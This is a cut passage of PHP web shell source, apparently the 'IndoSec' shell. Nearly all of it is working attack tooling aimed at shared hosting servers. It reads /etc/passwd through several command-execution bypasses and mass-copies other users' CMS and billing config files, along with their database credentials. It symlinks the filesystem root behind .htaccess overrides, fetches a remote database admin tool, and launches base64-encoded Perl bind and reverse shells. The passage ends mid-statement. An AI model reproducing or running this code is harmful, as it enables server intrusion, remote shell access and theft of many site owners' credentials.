$passwd = $_POST['passwd']; mkdir("indosec_config", 0777); $isi_htc = "Options allnRequire NonenSatisfy Any"; $htc = fopen("indosec_config/.htaccess","w"); fwrite($htc, $isi_htc); preg_match_all('/(.*?):x:/', $passwd, $user_config); foreach($user_config[1] as $user_con){ $user_config_dir = "/home/$user_con/public_html/"; if(is_readable($user_config_dir)){ $grab_config = array( "/home/$user_con/.my.cnf" => "cpanel", "/home/$user_con/public_html/config/koneksi.php" => "Lokomedia", "/home/$user_con/public_html/forum/config.php" => "phpBB", "/home/$user_con/public_html/sites/default/settings.php" => "Drupal", "/home/$user_con/public_html/config/settings.inc.php" => "PrestaShop", "/home/$user_con/public_html/app/etc/local.xml" => "Magento", "/home/$user_con/public_html/admin/config.php" => "OpenCart", "/home/$user_con/public_html/application/config/database.php" => "Ellislab", "/home/$user_con/public_html/vb/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/forum/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/forums/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/cc/includes/config.php" => "Vbulletin", "/home/$user_con/public_html/inc/config.php" => "MyBB", "/home/$user_con/public_html/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/os/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/products/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$user_con/public_html/inc/conf_global.php" => "IPB", "/home/$user_con/public_html/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$user_con/public_html/blog/wp-config.php" => "Wordpress", "/home/$user_con/public_html/beta/wp-config.php" => "Wordpress", "/home/$user_con/public_html/portal/wp-config.php" => "Wordpress", "/home/$user_con/public_html/site/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wp/wp-config.php" => "Wordpress", "/home/$user_con/public_html/WP/wp-config.php" => "Wordpress", "/home/$user_con/public_html/news/wp-config.php" => "Wordpress", "/home/$user_con/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$user_con/public_html/test/wp-config.php" => "Wordpress", "/home/$user_con/public_html/demo/wp-config.php" => "Wordpress", "/home/$user_con/public_html/home/wp-config.php" => "Wordpress", "/home/$user_con/public_html/v1/wp-config.php" => "Wordpress", "/home/$user_con/public_html/v2/wp-config.php" => "Wordpress", "/home/$user_con/public_html/press/wp-config.php" => "Wordpress", "/home/$user_con/public_html/new/wp-config.php" => "Wordpress", "/home/$user_con/public_html/blogs/wp-config.php" => "Wordpress", "/home/$user_con/public_html/configuration.php" => "Joomla", "/home/$user_con/public_html/blog/configuration.php" => "Joomla", "/home/$user_con/public_html/submitticket.php" => "^WHMCS", "/home/$user_con/public_html/cms/configuration.php" => "Joomla", "/home/$user_con/public_html/beta/configuration.php" => "Joomla", "/home/$user_con/public_html/portal/configuration.php" => "Joomla", "/home/$user_con/public_html/site/configuration.php" => "Joomla", "/home/$user_con/public_html/main/configuration.php" => "Joomla", "/home/$user_con/public_html/home/configuration.php" => "Joomla", "/home/$user_con/public_html/demo/configuration.php" => "Joomla", "/home/$user_con/public_html/test/configuration.php" => "Joomla", "/home/$user_con/public_html/v1/configuration.php" => "Joomla", "/home/$user_con/public_html/v2/configuration.php" => "Joomla", "/home/$user_con/public_html/joomla/configuration.php" => "Joomla", "/home/$user_con/public_html/new/configuration.php" => "Joomla", "/home/$user_con/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/WHMC/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whmc/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whmc/submitticket.php" => "WHMCS", "/home/$user_con/public_html/WHM/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/HOST/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Host/submitticket.php" => "WHMCS", "/home/$user_con/public_html/host/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Supportes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/supportes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/domains/submitticket.php" => "WHMCS", "/home/$user_con/public_html/domain/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Hosting/submitticket.php" => "WHMCS", "/home/$user_con/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/$user_con/public_html/hosting/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CART/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Cart/submitticket.php" => "WHMCS", "/home/$user_con/public_html/cart/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ORDER/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Client/submitticket.php" => "WHMCS", "/home/$user_con/public_html/client/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientarea/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Support/submitticket.php" => "WHMCS", "/home/$user_con/public_html/support/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLING/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billing/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billing/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BUY/sumitticket.php" => "WHMCS", "/home/$user_con/public_html/Buy/submitticket.php" => "WHMCS", "/home/$user_con/public_html/buy/submitticket.php" => "WHMCS", "/home/$user_con/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Manage/submitticket.php" => "WHMCS", "/home/$user_con/public_html/manage/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Checkout/submitticket.php" => "WHMCS", "/home/$user_con/public_html/checkout/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BASKET/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Basket/submitticket.php" => "WHMCS", "/home/$user_con/public_html/basket/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SECURE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Secure/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/submitticket.php" => "WHMCS", "/home/$user_con/public_html/SALES/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Sales/submitticket.php" => "WHMCS", "/home/$user_con/public_html/sales/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILL/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Bill/submitticket.php" => "WHMCS", "/home/$user_con/public_html/bill/submitticket.php" => "WHMCS", "/home/$user_con/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Purchase/submitticket.php" => "WHMCS", "/home/$user_con/public_html/purchase/submitticket.php" => "WHMCS", "/home/$user_con/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Account/submitticket.php" => "WHMCS", "/home/$user_con/public_html/account/submitticket.php" => "WHMCS", "/home/$user_con/public_html/USER/submitticket.php" => "WHMCS", "/home/$user_con/public_html/User/submitticket.php" => "WHMCS", "/home/$user_con/public_html/user/submitticket.php" => "WHMCS", "/home/$user_con/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Clients/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clients/submitticket.php" => "WHMCS", "/home/$user_con/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_con/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_con/public_html/MY/submitticket.php" => "WHMCS", "/home/$user_con/public_html/My/submitticket.php" => "WHMCS", "/home/$user_con/public_html/my/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/$user_con/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/$user_con/public_html/panel/submitticket.php" => "WHMCS", "/home/$user_con/public_html/clientes/submitticket.php" => "WHMCS", "/home/$user_con/public_html/cliente/submitticket.php" => "WHMCS", "/home/$user_con/public_html/support/order/submitticket.php" => "WHMCS", "/home/$user_con/public_html/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/box/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/host/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/Host/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/supportes/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/support/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/hosting/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/cart/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/order/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/client/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/clients/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/cliente/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/clientes/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/billing/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/billings/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/my/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/secure/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/support/order/bb-config.php" => "BoxBilling", "/home/$user_con/public_html/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/products/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/$user_con/public_html/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/host/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/support/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/order/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/client/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/my/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/$user_con/public_html/support/order/includes/iso4217.php" => "Hostbills" ); foreach($grab_config as $config => $nama_config){ $ambil_config = file_get_contents($config); if($ambil_config == ''){ }else{ $file_config = fopen("indosec_config/$user_con-$nama_config.txt","w"); fputs($file_config,$ambil_config); } } } } echo "<p class='text-center'>Success Get Config!!</p> <a href='?dir=$dir/indosec_config' class='btn btn-success btn-block mb-4'>Click Here</a>"; }else{ echo "<form method='post'> <p class='text-danger'>/etc/passwd error ? <a href='?dir=$dir&aksi=passwbypass'>Bypass Here</a></p> <textarea name='passwd' class='form-control' rows='13'>".file_get_contents('/etc/passwd')."</textarea><br/> <input type='submit' class='btn btn-danger btn-block' value='Get Config!!'> </form>"; } exit; } function aksiBypasswd($dir,$file){ echo '<div claas="container"> <form method="POST"> <p class="text-center">Bypass etc/passwd With :</p> <div class="d-flex justify-content-center flex-wrap"> <input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst"> <input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth"> <input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex"> <input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex"> <input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex"> </div><hr/> <p class="text-center">Bypass User With :</p> <div class="d-flex justify-content-center flex-wrap"> <input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser"> <input type="submit" class="fiture btn btn-warning btn-sm" value="System Function" name="systuser"> <input type="submit" class="fiture btn btn-warning btn-sm" value="Passthru Function" name="passthuser"> <input type="submit" class="fiture btn btn-warning btn-sm" value="Exec Function" name="exuser"> <input type="submit" class="fiture btn btn-warning btn-sm" value="Shell_exec Function" name="shexuser"> </div> </form>'; $mail = 'ls /var/mail'; $paswd = '/etc/passwd'; if($_POST['syst']){ echo"<textarea class='form-control' rows='13'>"; echo system("cat $paswd"); echo"</textarea><br/>"; } if($_POST['passth']){ echo"<textarea class='form-control' rows='13'>"; echo passthru("cat $paswd"); echo"</textarea><br/>"; } if($_POST['ex']){ echo"<textarea class='form-control' rows='13'>"; echo exec("cat $paswd"); echo"</textarea><br/>"; } if($_POST['shex']){ echo"<textarea class='form-control' rows='13'>"; echo shell_exec("cat $paswd"); echo"</textarea><br/>"; } if($_POST['melex']){ echo"<textarea class='form-control' rows='13'>"; for($uid=0;$uid<6000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)){ while (list ($key, $val) = each($ara)){ print "$val:"; } print "n"; } } echo"</textarea><br/>"; } if ($_POST['awkuser']){ echo"<textarea class='form-control' rows='13'> ".shell_exec("awk -F: '{ print $1 }' $paswd | sort")." </textarea><br/>"; } if ($_POST['systuser']){ echo"<textarea class='form-control' rows='13'>"; echo system("$mail"); echo "</textarea><br>"; } if ($_POST['passthuser']){ echo"<textarea class='form-control' rows='13'>"; echo passthru("$mail"); echo "</textarea><br>"; } if ($_POST['exuser']){ echo"<textarea class='form-control' rows='13'>"; echo exec("$mail"); echo "</textarea><br>"; } if ($_POST['shexuser']){ echo"<textarea class='form-control' rows='13'>"; echo shell_exec("$mail"); echo "</textarea><br>"; } echo "</div>"; exit; } function aksiAdminer($dir,$file){ $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); function adminer($url, $isi){ $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if(file_exists('adminer.php')){ echo "<a href='$full/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; }else{ if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")){ echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='$full/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; }else{ echo "<p class='text-center text-danger'>Gagal Membuat Adminer</p>"; } } exit; } function aksiSym($dir,$file){ $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); $d0mains = @file("/etc/named.conf"); if(!$d0mains){ die ("[ <a href='?dir=$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$dir&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca /etc/named.conf</font><br/><br/>"); } ##htaccess if($d0mains){ @mkdir("indosec_sym",0777); @chdir("indosec_sym"); @exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex indsc.html AddType text/plain php html php5 phtml AddHandler text/plain php html php5 phtml Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo "[ <a href='?dir=$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$dir&aksi=sym_bypas'>Symlink Bypass</a> ] <div class='tmp'> <table class='text-center table-responsive'> <thead class='bg-info'> <th>No.</th> <th>Domains</th> <th>Users</th> <th>symlink </th> </thead>"; $dcount = 1; foreach($d0mains as $d0main){ if(eregi("zone",$d0main)){ preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); echo "<tr> <td>".$dcount."</td> <td class='text-left'><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td> <td>".$user['name']."</td> <td><a href='$full/indosec_sym/root/home/".$user['name']."/public_html' target='_blank'>Symlink</a></td> </tr>"; flush(); $dcount++; } } } echo "</table></div>"; }else{ $TEST = @file('/etc/passwd'); if ($TEST){ @mkdir("indosec_sym",0777); @chdir("indosec_sym"); @exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex indsc.html AddType text/plain php html php5 phtml AddHandler text/plain php html php5 phtml Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3); @fclose($fp3); echo "[ <a href='?dir=$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$dir&aksi=sym_bypas'>Symlink Bypass</a> ] <div class='tmp'> <table class='text-center table-responsive'> <thead class='bg-warning'> <th>No.</th> <th>Users</th> <th>symlink </th> </thead>"; $dcount = 1; $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); while(!feof($file)){ $s = fgets($file); $matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches); $matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo "<tr> <td>".$dcount."</td> <td>".$matches."</td> <td><a href=$full/indosec_sym/root/home/".$matches."/public_html target='_blank'>Symlink</a></td> </tr>"; $dcount++; } fclose($file); echo "</table></div>"; }else{ if($os != "Windows"){ @mkdir("indosec_sym",0777); @chdir("indosec_sym"); @exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex indsc.html AddType text/plain php html php5 phtml AddHandler text/plain php html php5 phtml Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo "[ <a href='?dir=$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=$dir&aksi=sym_bypas'>Symlink Bypass</a> ] <div class='tmp'><table class='text-center table-responsive'> <thead class='bg-danger'> <th>ID.</th> <th>Users</th> <th>symlink </th> </thead>"; $temp = "";$val1 = 0;$val2 = 1000; for(;$val1 <= $val2;$val1++){ $uid = @posix_getpwuid($val1); if ($uid)$temp .= join(':',$uid)."\n"; } echo '<br/>';$temp = trim($temp); $file5 = fopen("test.txt","w"); fputs($file5,$temp); fclose($file5);$dcount = 1;$file = fopen("test.txt", "r") or exit("Unable to open file!"); while(!feof($file)){ $s = fgets($file);$matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches); $matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo "<tr> <td>".$dcount."</td> <td>".$matches."</td> <td><a href=$full/indosec_sym/root/home/".$matches."/public_html target='_blank'>Symlink</a></td> </tr>"; $dcount++; } fclose($file); echo "</table></div>"; unlink("test.txt"); } } } exit; } function aksiSymread($dir,$file){ echo "read /etc/named.conf <form method='post' action='?dir=$dir&aksi=symread&save=1'> <textarea class='form-control' rows='13' name='file'>"; flush(); flush(); $file = '/etc/named.conf'; $r3ad = @fopen($file, 'r'); if ($r3ad){ $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; }else if (!$r3ad){ $r3ad = @show_source($file) ; }else if (!$r3ad){ $r3ad = @highlight_file($file); }else if (!$r3ad){ $sm = @symlink($file,'sym.txt'); if ($sm){ $r3ad = @fopen('indosec_sym/sym.txt', 'r'); $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; } } echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; if(isset($_GET['save'])){ $cont = stripcslashes($_POST['file']); $f = fopen('named.txt','w'); $w = fwrite($f,$cont); if($w){ echo '<br/>save has been successfully'; } fclose($f); } exit; } function sym404($dir,$file){ $cp = get_current_user(); if($_POST['execute']){ @rmdir("indosec_sym404"); @mkdir("indosec_sym404", 0777); $dir = $_POST['dir']; $isi = $_POST['isi']; @system("ln -s ".$dir."indosec_sym404/".$isi); @symlink($dir,"indosec_sym404/".$isi); $inija = fopen("indosec_sym404/.htaccess", "w"); @fwrite($inija,"ReadmeName ".$isi."\nOptions Indexes FollowSymLinks\nDirectoryIndex ids.html\nAddType text/plain php html php5 phtml\nAddHandler text/plain php html php5 phtml\nSatisfy Any"); echo'<a href="/indosec_sym404/" target="_blank" class="btn btn-success btn-block mb-3">Click Me!!</a>'; }else{ echo '<h2>Symlink 404</h2> <form method="post"> File Target: <input type="text" class="form-control" name="dir" value="/home/'.$cp.'/public_html/wp-config.php"><br/> Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/> <input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/> <p class="text-muted">NB: Letak wp-config tidak semuanya berada di <u>public_html/wp-config.php</u> jadi silahkan ubah sesuai letaknya.</p> </form>'; } exit; } function symBypass($dir,$file){ $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); $pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"]; $u = explode("/",$pageFTP ); $pageFTP =str_replace($u[count($u)-1],"",$pageFTP ); if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){ $cont = stripcslashes($_POST['file']); if(!file_exists('passwd.txt')){ $f = @fopen('passwd.txt','w'); $w = @fwrite($f,$cont); fclose($f); } if($w or @filesize('passwd.txt') > 0){ echo "<div class='tmp'> <table width='100%' class='text-center table-responsive mb-4'> <thead class='bg-info'> <th>Users</th> <th>symlink</th> <th>FTP</th> </thead>"; flush(); $fil3 = file('passwd.txt'); foreach ($fil3 as $f){ $u=explode(':', $f); $user = $u['0']; echo "<tr> <td class='text-left pl-1'>$user</td> <td><a href='$full/sym/root/home/$user/public_html' target='_blank'>Symlink </a></td> <td><a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a></td> </tr>"; flush(); flush(); } echo "</tr></table></div>"; die(); } } echo "read /etc/passwd <font color='red'>error ? </font><a href='?dir=".$dir."&aksi=passwbypass'>Bypass Here</a> <form method='post' action='?dir=$dir&aksi=sym_bypas&save=1'> <textarea class='form-control' rows='13' name='file'>"; flush(); $file = '/etc/passwd'; $r3ad = @fopen($file, 'r'); if ($r3ad){ $content = @fread($r3ad, @filesize($file)); echo "".htmlentities($content).""; }elseif(!$r3ad){ $r3ad = @show_source($file) ; }elseif(!$r3ad){ $r3ad = @highlight_file($file); }elseif(!$r3ad){ for($uid=0;$uid<1000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)){ while (list ($key, $val) = each($ara)){ print "$val:"; } print "\n"; } } } flush(); echo "</textarea><br/> <input type='submit' class='btn btn-danger btn-block' value='Symlink'/> </form>"; flush(); exit; } function bcTool($dir,$file){ echo "<h4 class='text-center mb-4'>Back Connect Tools</h4> <form method='post'> <div class='row'> <div class='col-md-10'> <span>Bind port to /bin/sh [Perl]</span><br/> <label>Port :</label> <div class='form-group input-group mb-4'> <input type='text' name='port' class='form-control' value='6969'> <input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'> </div> <h5>Back-Connect</h5> <label>Server :</label> <input type='text' name='server' class='form-control mb-3' placeholder='". $_SERVER['REMOTE_ADDR'] ."'> <label>Port :</label> <div class='form-group input-group mb-4'> <input type='text' name='port' class='form-control' placeholder='443'> <select class='form-control' name='backconnect'> <option value='perl'>Perl</option> <option value='php'>PHP</option> <option value='python'>Python</option> <option value='ruby'>Ruby</option> </select> </div> <input type='submit' class='btn btn-danger btn-block' value='Connect'> </div> </div> </form>"; if($_POST['bpl']){ $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); $brt = @fopen('bp.pl','w'); fwrite($brt,$bp); $out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class='text-light'>$out\n".exe("ps aux | grep bp.pl")."</pre>"; unlink("bp.pl"); } if($_POST['backconnect'] == 'perl'){ $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); $plbc = @fopen('bc.pl','w'); fwrite($plbc,$bc); $out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class='text-light'>$out\n".exe("ps aux | grep bc.pl")."</pre>"; unlink("bc.pl"); } if($_POST['backconnect'] == 'python'){ $becaa = 